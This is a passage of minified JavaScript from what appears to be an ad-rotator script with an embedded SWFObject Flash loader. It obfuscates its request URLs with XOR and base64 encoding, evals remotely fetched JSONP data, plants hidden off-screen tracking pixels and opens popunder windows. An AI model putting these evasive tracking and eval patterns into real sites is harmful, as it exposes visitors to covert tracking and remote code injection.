&quot;\\x26MMdoctitle\\x3d&quot; + l.title;             b.s = typeof b.s != v ? b.s + (&quot;\\x26&quot; + d) : d;             m.c && (m.e && 4 != e.readyState) && (d = l.createElement(&quot;div&quot;), c += &quot;SWFObjectNew&quot;, d.setAttribute(&quot;id&quot;, c), e.parentNode.insertBefore(d, e), e.style.display = &quot;none&quot;, function () {                 4 == e.readyState ? e.parentNode.removeChild(e) : setTimeout(arguments.callee, 10)             }());             Ma(a, b, c)         }     }      function Qa() {         return!ua && ra(&quot;6.0.65&quot;) && (m.e || m.R) && !(m.i && 312 &gt; m.i)     }      function Ra(a) {         var b = z;         if ((a = K(a)) && &quot;OBJECT&quot; == a.nodeName)typeof a.SetVariable != v ? b = a : (a = a.getElementsByTagName(O)[0]) && (b = a);         return b     }      function Sa() {         var a = Q.length;         if (0 &lt; a)for (var b = 0; b &lt; a; b++) {             var c = Q[b].id, d = Q[b].fa, e = {success: T, id: c};             if (0 &lt; m.n[0]) {                 var f = K(c);                 if (f)if (ra(Q[b].qa) && !(m.i && 312 &gt; m.i))W(c, y), d && (e.success = y, e.S = Ra(c), d(e)); else if (Q[b].O && Qa()) {                     e = {};                     e.data = Q[b].O;                     e.width = f.getAttribute(&quot;width&quot;) || &quot;0&quot;;                     e.height = f.getAttribute(&quot;height&quot;) || &quot;0&quot;;                     f.getAttribute(&quot;class&quot;) && (e.jb = f.getAttribute(&quot;class&quot;));                     f.getAttribute(&quot;align&quot;) && (e.align = f.getAttribute(&quot;align&quot;));                     for (var p = {}, f = f.getElementsByTagName(&quot;param&quot;), h = f.length, j = 0; j &lt; h; j++)&quot;movie&quot; != f[j].getAttribute(&quot;name&quot;).toLowerCase() && (p[f[j].getAttribute(&quot;name&quot;)] = f[j].getAttribute(&quot;value&quot;));                     Oa(e, p, c, d)                 } else zb(f), d && d(e)             } else if (W(c, y), d) {                 if ((c = Ra(c)) && typeof c.SetVariable != v)e.success = y, e.S = c;                 d(e)             }         }     }      function pb(a) {         if (typeof H.addEventListener != v)H.addEventListener(&quot;load&quot;, a, T); else if (typeof l.addEventListener != v)l.addEventListener(&quot;load&quot;, a, T); else if (typeof H.attachEvent !=             v) {             var b = H;             b.attachEvent(&quot;onload&quot;, a);             aa[aa.length] = [b, &quot;onload&quot;, a]         } else if (&quot;function&quot; == typeof H.onload) {             var c = H.onload;             H.onload = function () {                 c();                 a()             }         } else H.onload = a     }      function qb(a) {         X ? a() : wa[wa.length] = a     }      function ba() {         if (!X) {             try {                 var a = l.getElementsByTagName(&quot;body&quot;)[0].appendChild(l.createElement(&quot;span&quot;));                 a.parentNode.removeChild(a)             } catch (b) {                 return             }             X = y;             for (var a = wa.length, c = 0; c &lt; a; c++)wa[c]()         }     }      function E(a, b) {         function c() {         }          c.prototype = b.prototype;         a.prototype = new c;         a.prototype.constructor = a;         a.nb = b.prototype;         b.prototype.constructor == Object.prototype.constructor && (b.prototype.constructor = b)     }      function rb(a) {         this.a = g.parseJSON(g.L(a));         r.globalInfo = {};         g.log(this.a);         if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {             var b = this, c = setTimeout(function () {                 b.oa()             }, 5E3);             g.da(this.a.ukDomain, this.a.ukUri, function (a) {                 clearTimeout(c);                 g.parseJSON(g.L(a));                 r.globalInfo.udata = a;                 b.oa()             }, &quot;jsf&quot;)         } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()     }      function sb() {     }      function I() {     }      function xa() {     }      function Ta() {     }      function Ua() {     }      function Va() {     }      function ca() {     }      function Wa() {     }      function ya() {     }      function Xa() {     }      function Ya() {     }      function da() {     }      function ga() {     }      function Za() {     }      var v = &quot;undefined&quot;, O = &quot;object&quot;, ta = &quot;application\/x-shockwave-flash&quot;, ob = &quot;SWFObjectExprInst&quot;, H = r, l = k, R = navigator, tb = T, wa = [function () {         if (tb) {             var a = l.getElementsByTagName(&quot;body&quot;)[0], b = l.createElement(O);             b.setAttribute(&quot;type&quot;, ta);             var c = a.appendChild(b);             if (c) {                 var d = 0;                 (function () {                     if (typeof c.GetVariable != v) {                         var e = c.GetVariable(&quot;$version&quot;);                         e && (e = e.split(&quot; &quot;)[1].split(&quot;,&quot;),                             m.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])                     } else if (10 &gt; d) {                         d++;                         setTimeout(arguments.callee, 10);                         return                     }                     a.removeChild(b);                     c = z;                     Sa()                 })()             } else Sa()         } else Sa()     }], Q = [], sa = [], aa = [], fa, va, Pa, nb, X = T, ua = T, N, La, kb = y, m, Ab = typeof l.getElementById != v && typeof l.getElementsByTagName != v && typeof l.createElement != v, za = R.userAgent.toLowerCase(), Aa = R.platform.toLowerCase(), Bb = Aa ? \/win\/.test(Aa) : \/win\/.test(za), Cb = Aa ? \/mac\/.test(Aa) : \/mac\/.test(za), Db = \/webkit\/.test(za) ? parseFloat(za.replace(\/^.*webkit\\\/(\\d+(\\.\\d+)?).*$\/,         &quot;$1&quot;)) : T, $a = !+&quot;\\v1&quot;, ha = [0, 0, 0], C = z;     if (typeof R.plugins != v && typeof R.plugins[&quot;Shockwave Flash&quot;] == O) {         if ((C = R.plugins[&quot;Shockwave Flash&quot;].description) && !(typeof R.mimeTypes != v && R.mimeTypes[ta] && !R.mimeTypes[ta].enabledPlugin))tb = y, $a = T, C = C.replace(\/^.*\\s+(\\S+\\s+\\S+$)\/, &quot;$1&quot;), ha[0] = parseInt(C.replace(\/^(.*)\\..*$\/, &quot;$1&quot;), 10), ha[1] = parseInt(C.replace(\/^.*\\.(.*)\\s.*$\/, &quot;$1&quot;), 10), ha[2] = \/[a-zA-Z]\/.test(C) ? parseInt(C.replace(\/^.*[a-zA-Z]+(.*)$\/, &quot;$1&quot;), 10) : 0     } else if (typeof H.ActiveXObject != v)try {         var ub = new ActiveXObject(&quot;ShockwaveFlash.ShockwaveFlash&quot;);         if (ub && (C = ub.GetVariable(&quot;$version&quot;)))$a = y, C = C.split(&quot; &quot;)[1].split(&quot;,&quot;), ha = [parseInt(C[0], 10), parseInt(C[1], 10), parseInt(C[2], 10)]     } catch (Ub) {     }     m = {j: Ab, n: ha, i: Db, c: $a, e: Bb, R: Cb};     m.j && ((typeof l.readyState != v && &quot;complete&quot; == l.readyState || typeof l.readyState == v && (l.getElementsByTagName(&quot;body&quot;)[0] || l.body)) && ba(), X || (typeof l.addEventListener != v && l.addEventListener(&quot;DOMContentLoaded&quot;, ba, T), m.c && m.e && (l.attachEvent(&quot;onreadystatechange&quot;, function () {         &quot;complete&quot; == l.readyState && (l.detachEvent(&quot;onreadystatechange&quot;,             arguments.callee), ba())     }), H == top && function () {         if (!X) {             try {                 l.La.doScroll(&quot;left&quot;)             } catch (a) {                 setTimeout(arguments.callee, 0);                 return             }             ba()         }     }()), m.i && function () {         X || (\/loaded|complete\/.test(l.readyState) ? ba() : setTimeout(arguments.callee, 0))     }(), pb(ba)));     m.c && m.e && r.attachEvent(&quot;onunload&quot;, function () {         for (var a = aa.length, b = 0; b &lt; a; b++)aa[b][0].detachEvent(aa[b][1], aa[b][2]);         a = sa.length;         for (b = 0; b &lt; a; b++)mb(sa[b]);         for (var c in m)m[c] = z;         m = z;         for (var d in g.w)g.w[d] = z;         g.w = z     });     sb.prototype = {Y: &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_&quot;,         U: &quot;left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;&quot;, Q: function () {             return!r.addEventListener && !r.XMLHttpRequest && r.attachEvent         }, v: function () {             if (&quot;BackCompat&quot; == k.compatMode && 10 &gt; g.Xa())return T;             var a = k.createElement(&quot;div&quot;);             a.style.cssText = &quot;position:fixed&quot;;             return a.style.position.match(&quot;fixed&quot;) ? y : T         }, Ya: function (a) {             a.matchUrl && (this.X(a.matchUrl).style.cssText = this.U)         }, ga: function (a) {             if (0 == a.limit && 0 == a.period)return y;             if (this.la(a.periodName) == z) {                 var b = parseInt(this.la(a.limitName));                 if (0 == a.limit || isNaN(b) || b &lt; a.limit)return y             }             return T         }, Xa: function () {             var a = 999;             -1 != navigator.appVersion.indexOf(&quot;MSIE&quot;) && (a = parseFloat(navigator.appVersion.split(&quot;MSIE&quot;)[1]));             return a         }, Ea: function (a) {             var b = new Date, c = parseInt(this.la(a.limitName), 10), c = isNaN(c) ? 1 : c + 1;             b.setTime(b.getTime() + 6E4 * parseInt(a.period, 10));             this.ra(a.periodName, 1, b, &quot;\/&quot;);             b.setTime(b.getTime() + 432E5);             this.ra(a.limitName, c, b, &quot;\/&quot;)         }, ra: function (a, b) {             var c = arguments, d = c.length, e = 2 &lt; d ? c[2] : z, f = 3 &lt; d ? c[3] : z, p = 4 &lt; d ? c[4] : z;             k.cookie = a + &quot;\\x3d&quot; +                 encodeURIComponent(b) + (e == z ? &quot;&quot; : &quot;; expires\\x3d&quot; + e.toGMTString()) + (f == z ? &quot;&quot; : &quot;; path\\x3d&quot; + f) + (p == z ? &quot;&quot; : &quot;; domain\\x3d&quot; + p) + ((5 &lt; d ? c[5] : T) == y ? &quot;; secure&quot; : &quot;&quot;)         }, pa: function () {             var a, b = k.createElement(&quot;div&quot;), c = [&quot;Khtml&quot;, &quot;Ms&quot;, &quot;O&quot;, &quot;Moz&quot;, &quot;Webkit&quot;], d = c.length;             a = function (a) {                 if (a in b.style)return y;                 for (a = a.replace(\/^[a-z]\/, function (a) {                     return a.toUpperCase()                 }); d--;)if (c[d] + a in b.style)return y;                 return T             };             return a(&quot;boxShadow&quot;) && a(&quot;borderRadius&quot;)         }, log: function () {         }, la: function (a) {             var b = &quot; &quot; + k.cookie;             a = &quot; &quot; + a + &quot;\\x3d&quot;;             var c =                 z, d = 0, e = 0;             0 &lt; b.length && (d = b.indexOf(a), -1 != d && (d += a.length, e = -1 == b.indexOf(&quot;;&quot;, d) ? b.length : b.indexOf(&quot;;&quot;, d), c = decodeURIComponent(b.substring(d, e))));             return c         }, Na: function (a, b) {             var c = &quot;&quot;, d = &quot;&quot;, e, f, p, h, j, g = 0;             b &= 255;             a = this.mb(a);             for (f = 0; f &lt; a.length; d += String.fromCharCode(b ^ a.charCodeAt(f)), f++);             for (a = d; g &lt; a.length;)e = a.charCodeAt(g++), d = a.charCodeAt(g++), f = a.charCodeAt(g++), p = e &gt;&gt; 2, e = (e & 3) &lt;&lt; 4 | d &gt;&gt; 4, h = (d & 15) &lt;&lt; 2 | f &gt;&gt; 6, j = f & 63, isNaN(d) ? h = j = 64 : isNaN(f) && (j = 64), c = c + this.Y.charAt(p) + this.Y.charAt(e) + this.Y.charAt(h) +                 this.Y.charAt(j);             return c         }, L: function (a, b) {             a = a.replace(\/[\\-]\/g, &quot;+&quot;).replace(\/[_]\/g, &quot;\/&quot;);             for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f &lt; a.length; f++)e =                 a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log(&quot;Illegal characters (code\\x3d&quot; + e + &quot;) in position &quot; + f) : (j = j &lt;&lt; 6 | d, h += 6, 8 &lt;= h && (h -= 8, &quot;\\x3d&quot; !== a.charAt(f) && g.push(j &gt;&gt; h & 255), j &= (1 &lt;&lt; h) - 1));             if (b) {                 c = [];                 b &= 255;                 for (d = 0; d &lt; g.length; c.push(b ^ g[d]), d++);                 g = c             }             return this.lb(g)         }, lb: function (a) {             for (var b = [], c = 0, d = a.length, e, f, g; c &lt; d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 &gt; e ? (b.push(String.fromCharCode(e)), c += 1) : 191 &lt; e && 224 &gt; e ? (b.push(String.fromCharCode((e & 31) &lt;&lt; 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) &lt;&lt; 12 | (f & 63) &lt;&lt; 6 | g & 63)), c +=                 3);             return b.join(&quot;&quot;)         }, mb: function (a) {             a = a.replace(\/\\r\\n\/g, &quot;\\n&quot;);             for (var b = &quot;&quot;, c = 0; c &lt; a.length; c++) {                 var d = a.charCodeAt(c);                 128 &gt; d ? b += String.fromCharCode(d) : (127 &lt; d && 2048 &gt; d ? b += String.fromCharCode(d &gt;&gt; 6 | 192) : (b += String.fromCharCode(d &gt;&gt; 12 | 224), b += String.fromCharCode(d &gt;&gt; 6 & 63 | 128)), b += String.fromCharCode(d & 63 | 128))             }             return b         }, ma: function (a, b, c, d) {             var e = navigator.userAgent.toLowerCase();             -1 != e.indexOf(&quot;safari&quot;) && -1 == e.indexOf(&quot;chrome&quot;) && (d = d || &quot;width\\x3d&quot; + r.screen.width + &quot;,height\\x3d&quot; + r.screen.height + &quot;,left\\x3d0,top\\x3d0,menubar\\x3dno,location\\x3dno,resizable\\x3dyes,scrollbars\\x3dyes,status\\x3dno&quot;);             a = r.open(a, c || &quot;&quot;, d);             b || (a.blur(), r.focus())         }, g: function (a) {             var b = +new Date % 1E6;             return&quot;\/?&quot; + b + &quot;\\x3d&quot; + this.Na(a.replace(&quot;\/?&quot;, &quot;&quot;), b)         }, w: {eb: function (a, b, c, d) {             if (m.j && a && b) {                 var e = {};                 e.id = a;                 e.qa = b;                 e.O = c;                 e.fa = d;                 Q[Q.length] = e;                 W(a, T)             } else d && d({success: T, id: a})         }, Sa: function (a) {             if (m.j)return Ra(a)         }, N: function (a, b, c, d, e, f, g, h, j, k) {             var A = {success: T, id: b};             m.j && !(m.i && 312 &gt; m.i) && a && b && c && d && e ? (W(b, T), qb(function () {                 c += &quot;&quot;;                 d += &quot;&quot;;                 var q = {};                 if (j && typeof j === O)for (var B in j)q[B] = j[B];                 q.data = a;                 q.width = c;                 q.height = d;                 B = {};                 if (h && typeof h === O)for (var r in h)B[r] = h[r];                 if (g && typeof g === O)for (var F in g)B.s = typeof B.s != v ? B.s + (&quot;\\x26&quot; + F + &quot;\\x3d&quot; + g[F]) : F + &quot;\\x3d&quot; + g[F];                 if (ra(e))r = Ma(q, B, b), q.id == b && W(b, y), A.success = y, A.S = r; else {                     if (f && Qa()) {                         q.data = f;                         Oa(q, B, b, k);                         return                     }                     W(b, y)                 }                 k && k(A)             })) : k && k(A)         }, kb: function () {             kb = T         }, W: m, Ra: function () {             return{$a: m.n[0], bb: m.n[1], fb: m.n[2]}         }, va: ra, Ka: function (a, b, c) {             if (m.j)return Ma(a, b, c)         }, hb: function (a, b, c, d) {             m.j && Qa() && Oa(a, b, c, d)         }, gb: function (a) {             m.j && mb(a)         }, Ja: function (a, b, c, d) {             m.j && lb(a, b, c, d)         },             Fa: qb, Ha: pb, Ta: function (a) {                 var b = l.location.search || l.location.hash;                 if (b) {                     \/\\?\/.test(b) && (b = b.split(&quot;?&quot;)[1]);                     if (a == z)return jb(b);                     for (var b = b.split(&quot;\\x26&quot;), c = 0; c &lt; b.length; c++)if (b[c].substring(0, b[c].indexOf(&quot;\\x3d&quot;)) == a)return jb(b[c].substring(b[c].indexOf(&quot;\\x3d&quot;) + 1))                 }                 return&quot;&quot;             }, Pa: function () {                 if (ua) {                     var a = K(ob);                     a && fa && (a.parentNode.replaceChild(fa, a), va && (W(va, y), m.c && m.e && (fa.style.display = &quot;block&quot;)), Pa && Pa(nb));                     ua = T                 }             }}, parseJSON: function (a) {             return eval(&quot;(&quot; + a + &quot;)&quot;)         }, da: function (a, b, c, d) {             d = d || &quot;jclb&quot;;             if (c) {                 var e = &quot;jsonp&quot; + String(Math.random()).slice(4);                 b += &quot;\\x26&quot; + d + &quot;\\x3dwindow.&quot; + e;                 r[e] = function (a) {                     scriptOk = y;                     r[e] = s;                     try {                         delete r[e]                     } catch (b) {                     }                     g.log(&quot;Callback called&quot;);                     c(a)                 }             }             b = this.g(b);             d = this.z(&quot;script&quot;);             d.src = a + b;             return d         }, X: function (a, b) {             var c = this.z(&quot;img&quot;, b);             c.src = a;             return c         }, Ga: function (a, b) {             var c = this.z(&quot;iframe&quot;, b);             c.src = a;             return c         }, z: function (a, b) {             var c = k.createElement(a);             b ? b.appendChild(c) : k.body.appendChild(c);             return c         }, Va: function () {             var a = 0, b = 0;             r.screen ? (b = r.screen.width, a = r.screen.height) :                 r.Za && (a = r.Za.awt.Toolkit.getDefaultToolkit().getScreenSize(), b = a.width, a = a.height);             return&quot;\\x26width\\x3d&quot; + b + &quot;\\x26height\\x3d&quot; + a         }, aa: function (a) {             function b() {                 return self.innerHeight ? self.innerHeight : k.documentElement && k.documentElement.clientHeight ? k.documentElement.clientHeight : k.body ? k.body.clientHeight : 600             }              function c() {                 var a = 0, b = 0;                 if (&quot;number&quot; == typeof r.pageYOffset)b = r.pageYOffset, a = r.pageXOffset; else if (k.body && (k.body.scrollLeft || k.body.scrollTop))b = k.body.scrollTop, a = k.body.scrollLeft; else if (k.documentElement &&                     (k.documentElement.scrollLeft || k.documentElement.scrollTop))b = k.documentElement.scrollTop, a = k.documentElement.scrollLeft;                 return[a, b]             }              switch (a.type) {                 case &quot;top&quot;:                     a.F.style.top = c()[1] + &quot;px&quot;;                     break;                 case &quot;center&quot;:                     a.F.style.top = b() \/ 2 + c()[1] - a.F.offsetHeight + &quot;px&quot;;                     break;                 default:                     a.F.style.top = b() + c()[1] - a.F.offsetHeight + &quot;px&quot;             }         }, Ua: function (a) {             return k.referrer && -1 == a.indexOf(&quot;\\x26ref\\x3d&quot;) ? &quot;\\x26ref\\x3d&quot; + encodeURIComponent(k.referrer) : &quot;&quot;         }, Oa: function (a, b) {             return-1 !== a.indexOf(b, a.length - b.length)         }, k: function () {             var a =                 (k.compatMode || this.za) && !this.ca ? &quot;CSS1Compat&quot; == k.compatMode ? k.documentElement.clientHeight : k.body.clientHeight : (k.cb || k.defaultView).innerHeight;             g.log(a);             return a         }, ua: function () {             return(k.compatMode || this.za) && !this.ca ? &quot;CSS1Compat&quot; == k.compatMode ? k.documentElement.clientWidth : k.body.clientWidth : (k.cb || k.defaultView).innerWidth         }, q: function () {             return Math.max(r.pageYOffset || k.documentElement.scrollTop, k.body.scrollTop)         }};     rb.prototype = {a: {}, r: {}, f: z, oa: function () {         function a(a) {             a = g.parseJSON(g.L(a));             g.log(&quot;Success RT, &quot;,                 a);             g.Ya(a);             b.r = a;             var c = {br: Eb, as: Fb, tl: Gb, cf: Hb, vkm: Ib, rot: Jb, popup: Kb, mppund: Lb, tsr: Mb, scr: Nb, pin: Ob, mdirect: Pb};             if (a.ads)for (var f = 0; f &lt; a.ads.length; f++) {                 var p = c[a.ads[f].format];                 p ? (g.log(&quot;Rendering,&quot;, a.ads[f]), p.p(a.ads[f])) : g.log(&quot;Cant render ad:&quot;, a.ads[f])             }         }          var b = this, c = this.a.rtUri.replace(&quot;\/?&quot;, &quot;&quot;);         this.a.rotatorDomain && this.a.rtUri && g.da(this.a.rotatorDomain, this.a.rtUri + this.Wa(c) + g.Va() + g.Ua(c), a)     }, Ba: function (a) {         g.X(a).style.cssText = &quot;width:1px;height:1px;position:absolute;left:-10000px;&quot;     },         Wa: function (a) {             var b = &quot;&quot;;             this.a.foreignUid && (b = &quot;\\x26foreignUid\\x3d&quot; + this.a.foreignUid);             return-1 == a.indexOf(&quot;\\x26udata\\x3d&quot;) && r.globalInfo.udata && (a = r.globalInfo.udata) ? (a = g.parseJSON(g.L(a)), this.Ba(a.matchingUrl), b + &quot;\\x26udata\\x3d&quot; + a.uid) : b         }};     var t = &quot;undefined&quot;, M = &quot;object&quot;, na = &quot;application\/x-shockwave-flash&quot;, gb = &quot;SWFObjectExprInst&quot;, G = r, u = k, S = navigator, vb = T, qa = [function () {             if (vb) {                 var a = u.getElementsByTagName(&quot;body&quot;)[0], b = u.createElement(M);                 b.setAttribute(&quot;type&quot;, na);                 var c = a.appendChild(b);                 if (c) {                     var d = 0;                     (function () {                         if (typeof c.GetVariable !=                             t) {                             var e = c.GetVariable(&quot;$version&quot;);                             e && (e = e.split(&quot; &quot;)[1].split(&quot;,&quot;), n.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])                         } else if (10 &gt; d) {                             d++;                             setTimeout(arguments.callee, 10);                             return                         }                         a.removeChild(b);                         c = z;                         Ka()                     })()                 } else Ka()             } else Ka()         }], P = [], ma = [], Y = [], ea, pa, Ha, fb, V = T, oa = T, L, Da, cb = y, n, Qb = typeof u.getElementById != t && typeof u.getElementsByTagName != t && typeof u.createElement != t, Ba = S.userAgent.toLowerCase(), Ca = S.platform.toLowerCase(), Rb = Ca ? \/win\/.test(Ca) : \/win\/.test(Ba), Sb = Ca ? \/mac\/.test(Ca) : \/mac\/.test(Ba),         Tb = \/webkit\/.test(Ba) ? parseFloat(Ba.replace(\/^.*webkit\\\/(\\d+(\\.\\d+)?).*$\/, &quot;$1&quot;)) : T, ab = !+&quot;\\v1&quot;, ia = [0, 0, 0], D = z;     if (typeof S.plugins != t && typeof S.plugins[&quot;Shockwave Flash&quot;] == M) {         if ((D = S.plugins[&quot;Shockwave Flash&quot;].description) && !(typeof S.mimeTypes != t && S.mimeTypes[na] && !S.mimeTypes[na].enabledPlugin))vb = y, ab = T, D = D.replace(\/^.*\\s+(\\S+\\s+\\S+$)\/, &quot;$1&quot;), ia[0] = parseInt(D.replace(\/^(.*)\\..*$\/, &quot;$1&quot;), 10), ia[1] = parseInt(D.replace(\/^.*\\.(.*)\\s.*$\/, &quot;$1&quot;), 10), ia[2] = \/[a-zA-Z]\/.test(D) ? parseInt(D.replace(\/^.*[a-zA-Z]+(.*)$\/,             &quot;$1&quot;), 10) : 0     } else if (typeof G.ActiveXObject != t)try {         var wb = new ActiveXObject(&quot;ShockwaveFlash.ShockwaveFlash&quot;);         if (wb && (D = wb.GetVariable(&quot;$version&quot;)))ab = y, D = D.split(&quot; &quot;)[1].split(&quot;,&quot;), ia = [parseInt(D[0], 10), parseInt(D[1], 10), parseInt(D[2], 10)]     } catch (Vb) {     }     n = {j: Qb, n: ia, i: Tb, c: ab, e: Rb, R: Sb};     n.j && ((typeof u.readyState != t && &quot;complete&quot; == u.readyState || typeof u.readyState == t && (u.getElementsByTagName(&quot;body&quot;)[0] || u.body)) && Z(), V || (typeof u.addEventListener != t && u.addEventListener(&quot;DOMContentLoaded&quot;, Z, T), n.c && n.e &&         (u.attachEvent(&quot;onreadystatechange&quot;, function () {             &quot;complete&quot; == u.readyState && (u.detachEvent(&quot;onreadystatechange&quot;, arguments.callee), Z())         }), G == top && function () {             if (!V) {                 try {                     u.La.doScroll(&quot;left&quot;)                 } catch (a) {                     setTimeout(arguments.callee, 0);                     return                 }                 Z()             }         }()), n.i && function () {         V || (\/loaded|complete\/.test(u.readyState) ? Z() : setTimeout(arguments.callee, 0))     }(), hb(Z)));     n.c && n.e && r.attachEvent(&quot;onunload&quot;, function () {         for (var a = Y.length, b = 0; b &lt; a; b++)Y[b][0].detachEvent(Y[b][1], Y[b][2]);         a = ma.length;         for (b = 0; b &lt; a; b++)eb(ma[b]);         for (var c in n)n[c] =             z;         n = z;         for (var d in g.w)g.w[d] = z;         g.w = z     });     I.prototype = {ea: {h: &quot;&quot;, link: &quot;aHR0cDovL3dpemFyZC10cmFmZnN0b2NrLmNvbS8\/dXRtX3NvdXJjZT1vdXJiYW5uZXImdXRtX21lZGl1bT1iYW5uZXImdXRtX2NhbXBhaWduPWJhbm5lcl9yZWc\\x3d&quot;}, Ia: 3E3, ia: &quot;&quot;, wa: &quot;&quot;, xa: &quot;&quot;, ib: &quot;&quot;, Da: &quot;&quot;, U: &quot;left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;&quot;, W: &quot;&quot;, ca: &quot;&quot;, Z: T, Ca: 2, ja: 0, ka: 0, V: [], f: {}, b: function (a, b, c, d) {         a.addEventListener ? a.addEventListener(b, c, d) : a.attachEvent(&quot;on&quot; + b, c)     }, K: function (a) {         a = a || event;         a.cancelBubble = y;         a.stopPropagation && a.stopPropagation()     },         ba: function (a, b, c, d) {             var e = this;             if (a.isDefaultClose || !this.Z && a.stubSrc) {                 d = d || -12;                 c = c || b;                 var f = k.createElement(&quot;span&quot;);                 f.style.cssText = this.ia.replace(&quot;${offsetTop}&quot;, d);                 f.onclick = function (b) {                     e.K(b);                     e.close(a, c)                 };                 if (a.isDefaultClick || !this.Z && a.stubSrc)d = k.createElement(&quot;a&quot;), d.style.cssText = this.Da, d.target = &quot;_blank&quot;, d.href = a.trackingDomain + g.g(a.clickUri + e.G()), d.onclick = function (b) {                     e.K(b);                     this.href = a.trackingDomain + g.g(a.clickUri + e.G());                     e.na(c)                 }, b.appendChild(d);                 setTimeout(function () {                         b.appendChild(f)                     },                     this.Ia)             } else r.hide = function () {                 e.close(a, e.f)             }         }, H: function (a, b, c, d) {             c = c || &quot;bottom&quot;;             d = d || &quot;right&quot;;             b.showLogo && (b = k.createElement(&quot;a&quot;), b.href = g.L(this.ea.link), b.target = &quot;_blank&quot;, b.style.cssText = &quot;z-index:99;position:absolute;&quot; + c + &quot;:-15px;width:100%;height:15px;left:0;right:0; background:#fff url(&quot; + this.ea.h + &quot;) no-repeat &quot; + d + &quot; top;&quot;, a.appendChild(b))         }, J: function (a, b) {             g.X(b.impDomain + g.g(b.trackShowUri)).style.cssText = this.U         }, G: function () {             return this.ja &gt; this.Ca || 0 &lt; this.ka || x.a.isMobile ? &quot;&quot; : &quot;\\x26rej\\x3d1&quot;         },         w: {eb: function (a, b, c, d) {             if (n.j && a && b) {                 var e = {};                 e.id = a;                 e.qa = b;                 e.O = c;                 e.fa = d;                 P[P.length] = e;                 U(a, T)             } else d && d({success: T, id: a})         }, Sa: function (a) {             if (n.j)return Ja(a)         }, N: function (a, b, c, d, e, f, g, h, j, k) {             var A = {success: T, id: b};             n.j && !(n.i && 312 &gt; n.i) && a && b && c && d && e ? (U(b, T), ib(function () {                 c += &quot;&quot;;                 d += &quot;&quot;;                 var q = {};                 if (j && typeof j === M)for (var B in j)q[B] = j[B];                 q.data = a;                 q.width = c;                 q.height = d;                 B = {};                 if (h && typeof h === M)for (var r in h)B[r] = h[r];                 if (g && typeof g === M)for (var F in g)B.s = typeof B.s != t ? B.s + (&quot;\\x26&quot; + F + &quot;\\x3d&quot; + g[F]) : F + &quot;\\x3d&quot; +                     g[F];                 if (la(e))r = Ea(q, B, b), q.id == b && U(b, y), A.success = y, A.S = r; else {                     if (f && Ia()) {                         q.data = f;                         Ga(q, B, b, k);                         return                     }                     U(b, y)                 }                 k && k(A)             })) : k && k(A)         }, kb: function () {             cb = T         }, W: n, Ra: function () {             return{$a: n.n[0], bb: n.n[1], fb: n.n[2]}         }, va: la, Ka: function (a, b, c) {             if (n.j)return Ea(a, b, c)         }, hb: function (a, b, c, d) {             n.j && Ia() && Ga(a, b, c, d)         }, gb: function (a) {             n.j && eb(a)         }, Ja: function (a, b, c, d) {             n.j && db(a, b, c, d)         }, Fa: ib, Ha: hb, Ta: function (a) {             var b = u.location.search || u.location.hash;             if (b) {                 \/\\?\/.test(b) && (b = b.split(&quot;?&quot;)[1]);                 if (a == z)return bb(b);                 for (var b =                     b.split(&quot;\\x26&quot;), c = 0; c &lt; b.length; c++)if (b[c].substring(0, b[c].indexOf(&quot;\\x3d&quot;)) == a)return bb(b[c].substring(b[c].indexOf(&quot;\\x3d&quot;) + 1))             }             return&quot;&quot;         }, Pa: function () {             if (oa) {                 var a = J(gb);                 a && ea && (a.parentNode.replaceChild(ea, a), pa && (U(pa, y), n.c && n.e && (ea.style.display = &quot;block&quot;)), Ha && Ha(fb));                 oa = T             }         }}, N: function (a, b, c, d, e, f) {             this.w.N(this.ab(a, b, c), d, e, f, &quot;10.0.0&quot;, &quot;&quot;, T, this.V, T)         }, ab: function (a, b, c) {             return x.a.imgDomain + a + &quot;?closeid\\x3d&quot; + b + &quot;\\x26link1\\x3d&quot; + c + this.Aa()         }, Aa: function () {             return&quot;\\x26keywords\\x3d&quot; + encodeURIComponent(x.a.keywords) +                 &quot;\\x26browsername\\x3d&quot; + encodeURIComponent(x.a.uaFamilyName) + &quot;\\x26browserversion\\x3d&quot; + x.a.uaVersion + &quot;\\x26os\\x3d&quot; + encodeURIComponent(x.a.osName) + &quot;\\x26countryid\\x3d&quot; + x.a.countryId + &quot;\\x26district\\x3d&quot; + encodeURIComponent(x.a.district) + &quot;\\x26region\\x3d&quot; + encodeURIComponent(x.a.region) + &quot;\\x26city\\x3d&quot; + encodeURIComponent(x.a.city)         }, B: function (a) {             return a.replace(&quot;{keywords}&quot;, x.r.keywords || &quot;&quot;).replace(&quot;{browsername}&quot;, x.r.uaFamilyName || &quot;&quot;).replace(&quot;{browserversion}&quot;, x.r.uaVersion || &quot;&quot;).replace(&quot;{os}&quot;, x.r.osName ||                 &quot;&quot;).replace(&quot;{countryid}&quot;, x.r.countryId || &quot;&quot;).replace(&quot;{district}&quot;, x.r.district || &quot;&quot;).replace(&quot;{region}&quot;, x.r.region || &quot;&quot;).replace(&quot;{city}&quot;, x.r.city || &quot;&quot;)         }, Ma: function (a, b, c, d, e) {             a = g.Ga(a + (-1 == a.indexOf(&quot;?&quot;) ? &quot;?&quot; : &quot;\\x26&quot;) 